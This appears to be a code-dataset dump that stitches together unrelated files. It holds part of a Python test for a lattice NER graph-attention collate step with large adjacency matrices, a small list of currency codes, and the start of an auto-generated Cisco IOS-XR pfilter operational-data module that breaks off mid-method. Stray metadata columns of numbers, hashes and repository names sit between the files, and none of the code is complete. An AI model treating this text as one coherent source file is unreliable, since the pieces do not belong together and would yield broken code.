expect_t_graph = [[1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1]]
expect_c_graph = [[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]]
expect_l_graph = [[1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]]
def test_bilstm_gat_model_collate(lattice_ner_demo_dataset, gaz_pretrained_embedding_loader):
"""
测试 bilstm gat model collate
:return:
"""
# 仅仅取前两个作为测试
batch_instances = lattice_ner_demo_dataset[0:2]
vocabulary_collate = VocabularyCollate()
collate_result = vocabulary_collate(batch_instances)
tokens = collate_result["tokens"]
sequence_label = collate_result["sequence_labels"]
token_vocabulary = Vocabulary(tokens=tokens,
padding=Vocabulary.PADDING,
unk=Vocabulary.UNK,
special_first=True)
label_vocabulary = LabelVocabulary(labels=sequence_label, padding=LabelVocabulary.PADDING)
gazetter = Gazetteer(gaz_pretrained_word_embedding_loader=gaz_pretrained_embedding_loader)
gaz_vocabulary_collate = GazVocabularyCollate(gazetteer=gazetter)
gaz_words = gaz_vocabulary_collate(batch_instances)
gaz_vocabulary = Vocabulary(tokens=gaz_words,
padding=Vocabulary.PADDING,
unk=Vocabulary.UNK,
special_first=True)
gaz_vocabulary = PretrainedVocabulary(vocabulary=gaz_vocabulary,
pretrained_word_embedding_loader=gaz_pretrained_embedding_loader)
bilstm_gat_model_collate = BiLstmGATModelCollate(token_vocabulary=token_vocabulary,
gazetter=gazetter,
gaz_vocabulary=gaz_vocabulary,
label_vocabulary=label_vocabulary)
model_inputs = bilstm_gat_model_collate(batch_instances)
logging.debug(json2str(model_inputs.model_inputs["metadata"]))
t_graph_0 = model_inputs.model_inputs["t_graph"][0]
c_graph_0 = model_inputs.model_inputs["c_graph"][0]
l_graph_0 = model_inputs.model_inputs["l_graph"][0]
expect_t_graph_tensor = torch.tensor(expect_t_graph, dtype=torch.uint8)
ASSERT.assertTrue(is_tensor_equal(expect_t_graph_tensor, t_graph_0))
expect_c_graph_tensor = torch.tensor(expect_c_graph, dtype=torch.uint8)
ASSERT.assertTrue(is_tensor_equal(expect_c_graph_tensor, c_graph_0))
expect_l_graph_tensor = torch.tensor(expect_l_graph, dtype=torch.uint8)
ASSERT.assertTrue(is_tensor_equal(expect_l_graph_tensor, l_graph_0))
gaz_words_indices = model_inputs.model_inputs["gaz_words"]
ASSERT.assertEqual((2, 11), gaz_words_indices.size())
metadata_0 = model_inputs.model_inputs["metadata"][0]
# 陈元呼吁加强国际合作推动世界经济发展
expect_squeeze_gaz_words_0 = ["陈元", "呼吁", "吁加", "加强", "强国", "国际", "合作", "推动", "世界", "经济", "发展"]
sequeeze_gaz_words_0 = metadata_0["sequeeze_gaz_words"]
ASSERT.assertListEqual(expect_squeeze_gaz_words_0, sequeeze_gaz_words_0)
expect_squeeze_gaz_words_indices_0 = torch.tensor(
[gaz_vocabulary.index(word) for word in expect_squeeze_gaz_words_0],
dtype=torch.long)
ASSERT.assertTrue(is_tensor_equal(expect_squeeze_gaz_words_indices_0,
gaz_words_indices[0]))
| 107.893805
| 2,777
| 0.446358
| 3,165
| 12,192
| 1.662875
| 0.036651
| 0.837925
| 1.152575
| 1.406042
| 0.689151
| 0.640319
| 0.607828
| 0.607828
| 0.567547
| 0.546266
| 0
| 0.318434
| 0.291667
| 12,192
| 112
| 2,778
| 108.857143
| 0.290991
| 0.019275
| 0
| 0.101695
| 0
| 0
| 0.008975
| 0
| 0
| 0
| 0
| 0
| 0.118644
| 1
| 0.016949
| false
| 0
| 0.169492
| 0
| 0.186441
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
925312b7b0772fc6c9c9ce19ac91eda11a5cd03c
| 509
|
py
|
Python
|
currency.py
|
Aashish2023/hacktoberfest2021
|
fdbc50a297deab5dc1a5e5e6360c5a0b07a705a6
|
[
"CC0-1.0"
] | null | null | null |
currency.py
|
Aashish2023/hacktoberfest2021
|
fdbc50a297deab5dc1a5e5e6360c5a0b07a705a6
|
[
"CC0-1.0"
] | null | null | null |
currency.py
|
Aashish2023/hacktoberfest2021
|
fdbc50a297deab5dc1a5e5e6360c5a0b07a705a6
|
[
"CC0-1.0"
] | null | null | null |
options = [
"USD",
"EUR",
"JPY",
"GBP",
"AUD",
"CAD",
"CHF",
"CNY",
"HKD",
"NZD",
"SEK",
"KRW",
"SGD",
"NOK",
"MXN",
"INR",
"RUB",
"ZAR",
"TRY",
"BRL",
]
opt2=[
"USD",
"EUR",
"JPY",
"GBP",
"AUD",
"CAD",
"CHF",
"CNY",
"HKD",
"NZD",
"SEK",
"KRW",
"SGD",
"NOK",
"MXN",
"INR",
"RUB",
"ZAR",
"TRY",
"BRL",
]
| 11.065217
| 12
| 0.257367
| 42
| 509
| 3.119048
| 0.52381
| 0.091603
| 0.137405
| 0.183206
| 0.916031
| 0.916031
| 0.916031
| 0.916031
| 0.916031
| 0.916031
| 0
| 0.003891
| 0.495088
| 509
| 45
| 13
| 11.311111
| 0.505837
| 0
| 0
| 0.909091
| 0
| 0
| 0.258621
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
2bb06c95522b4a76c61d0a737a2e5be28087649f
| 26,020
|
py
|
Python
|
cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_ip_pfilter_oper.py
|
tkamata-test/ydk-py
|
b637e7853a8edbbd31fbc05afa3aa4110b31c5f9
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_ip_pfilter_oper.py
|
tkamata-test/ydk-py
|
b637e7853a8edbbd31fbc05afa3aa4110b31c5f9
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_ip_pfilter_oper.py
|
tkamata-test/ydk-py
|
b637e7853a8edbbd31fbc05afa3aa4110b31c5f9
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
""" Cisco_IOS_XR_ip_pfilter_oper
This module contains a collection of YANG definitions
for Cisco IOS\-XR ip\-pfilter package operational data.
This module contains definitions
for the following management objects\:
pfilter\-ma\: Root class of PfilterMa Oper schema
Copyright (c) 2013\-2016 by Cisco Systems, Inc.
All rights reserved.
"""
import re
import collections
from enum import Enum
from ydk.types import Empty, YList, YLeafList, DELETE, Decimal64, FixedBitsDict
from ydk.errors import YPYError, YPYModelError
class PfilterMa(object):
"""
Root class of PfilterMa Oper schema
.. attribute:: nodes
Node\-specific operational data
**type**\: :py:class:`Nodes <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes>`
"""
_prefix = 'ip-pfilter-oper'
_revision = '2015-11-09'
def __init__(self):
self.nodes = PfilterMa.Nodes()
self.nodes.parent = self
class Nodes(object):
"""
Node\-specific operational data
.. attribute:: node
PfilterMa operational data for a particular node
**type**\: list of :py:class:`Node <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node>`
"""
_prefix = 'ip-pfilter-oper'
_revision = '2015-11-09'
def __init__(self):
self.parent = None
self.node = YList()
self.node.parent = self
self.node.name = 'node'
class Node(object):
"""
PfilterMa operational data for a particular
node
.. attribute:: node_name <key>
The node
**type**\: str
**pattern:** ([a\-zA\-Z0\-9\_]\*\\d+/){1,2}([a\-zA\-Z0\-9\_]\*\\d+)
.. attribute:: process
Operational data for pfilter
**type**\: :py:class:`Process <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process>`
"""
_prefix = 'ip-pfilter-oper'
_revision = '2015-11-09'
def __init__(self):
self.parent = None
self.node_name = None
self.process = PfilterMa.Nodes.Node.Process()
self.process.parent = self
class Process(object):
"""
Operational data for pfilter
.. attribute:: ipv4
Operational data for pfilter
**type**\: :py:class:`Ipv4 <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv4>`
.. attribute:: ipv6
Operational data for pfilter
**type**\: :py:class:`Ipv6 <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv6>`
"""
_prefix = 'ip-pfilter-oper'
_revision = '2015-11-09'
def __init__(self):
self.parent = None
self.ipv4 = PfilterMa.Nodes.Node.Process.Ipv4()
self.ipv4.parent = self
self.ipv6 = PfilterMa.Nodes.Node.Process.Ipv6()
self.ipv6.parent = self
class Ipv6(object):
"""
Operational data for pfilter
.. attribute:: acl_info_table
Operational data for pfilter
**type**\: :py:class:`AclInfoTable <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable>`
"""
_prefix = 'ip-pfilter-oper'
_revision = '2015-11-09'
def __init__(self):
self.parent = None
self.acl_info_table = PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable()
self.acl_info_table.parent = self
class AclInfoTable(object):
"""
Operational data for pfilter
.. attribute:: interface_infos
Operational data for pfilter
**type**\: :py:class:`InterfaceInfos <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable.InterfaceInfos>`
"""
_prefix = 'ip-pfilter-oper'
_revision = '2015-11-09'
def __init__(self):
self.parent = None
self.interface_infos = PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable.InterfaceInfos()
self.interface_infos.parent = self
class InterfaceInfos(object):
"""
Operational data for pfilter
.. attribute:: interface_info
Operational data for pfilter in bag
**type**\: list of :py:class:`InterfaceInfo <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable.InterfaceInfos.InterfaceInfo>`
"""
_prefix = 'ip-pfilter-oper'
_revision = '2015-11-09'
def __init__(self):
self.parent = None
self.interface_info = YList()
self.interface_info.parent = self
self.interface_info.name = 'interface_info'
class InterfaceInfo(object):
"""
Operational data for pfilter in bag
.. attribute:: interface_name <key>
Name of the interface
**type**\: str
**pattern:** (([a\-zA\-Z0\-9\_]\*\\d+/){3,4}\\d+)\|(([a\-zA\-Z0\-9\_]\*\\d+/){3,4}\\d+\\.\\d+)\|(([a\-zA\-Z0\-9\_]\*\\d+/){2}([a\-zA\-Z0\-9\_]\*\\d+))\|(([a\-zA\-Z0\-9\_]\*\\d+/){2}([a\-zA\-Z0\-9\_]+))\|([a\-zA\-Z0\-9\_\-]\*\\d+)\|([a\-zA\-Z0\-9\_\-]\*\\d+\\.\\d+)\|(mpls)\|(dwdm)
.. attribute:: acl_info
acl information
**type**\: str
"""
_prefix = 'ip-pfilter-oper'
_revision = '2015-11-09'
def __init__(self):
self.parent = None
self.interface_name = None
self.acl_info = None
@property
def _common_path(self):
if self.parent is None:
raise YPYModelError('parent is not set . Cannot derive path.')
if self.interface_name is None:
raise YPYModelError('Key property interface_name is None')
return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:interface-info[Cisco-IOS-XR-ip-pfilter-oper:interface-name = ' + str(self.interface_name) + ']'
def is_config(self):
''' Returns True if this instance represents config data else returns False '''
return False
def _has_data(self):
if not self.is_config():
return False
if self.interface_name is not None:
return True
if self.acl_info is not None:
return True
return False
@staticmethod
def _meta_info():
from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta
return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable.InterfaceInfos.InterfaceInfo']['meta_info']
@property
def _common_path(self):
if self.parent is None:
raise YPYModelError('parent is not set . Cannot derive path.')
return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:interface-infos'
def is_config(self):
''' Returns True if this instance represents config data else returns False '''
return False
def _has_data(self):
if not self.is_config():
return False
if self.interface_info is not None:
for child_ref in self.interface_info:
if child_ref._has_data():
return True
return False
@staticmethod
def _meta_info():
from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta
return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable.InterfaceInfos']['meta_info']
@property
def _common_path(self):
if self.parent is None:
raise YPYModelError('parent is not set . Cannot derive path.')
return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:acl-info-table'
def is_config(self):
''' Returns True if this instance represents config data else returns False '''
return False
def _has_data(self):
if not self.is_config():
return False
if self.interface_infos is not None and self.interface_infos._has_data():
return True
return False
@staticmethod
def _meta_info():
from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta
return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv6.AclInfoTable']['meta_info']
@property
def _common_path(self):
if self.parent is None:
raise YPYModelError('parent is not set . Cannot derive path.')
return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:ipv6'
def is_config(self):
''' Returns True if this instance represents config data else returns False '''
return False
def _has_data(self):
if not self.is_config():
return False
if self.acl_info_table is not None and self.acl_info_table._has_data():
return True
return False
@staticmethod
def _meta_info():
from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta
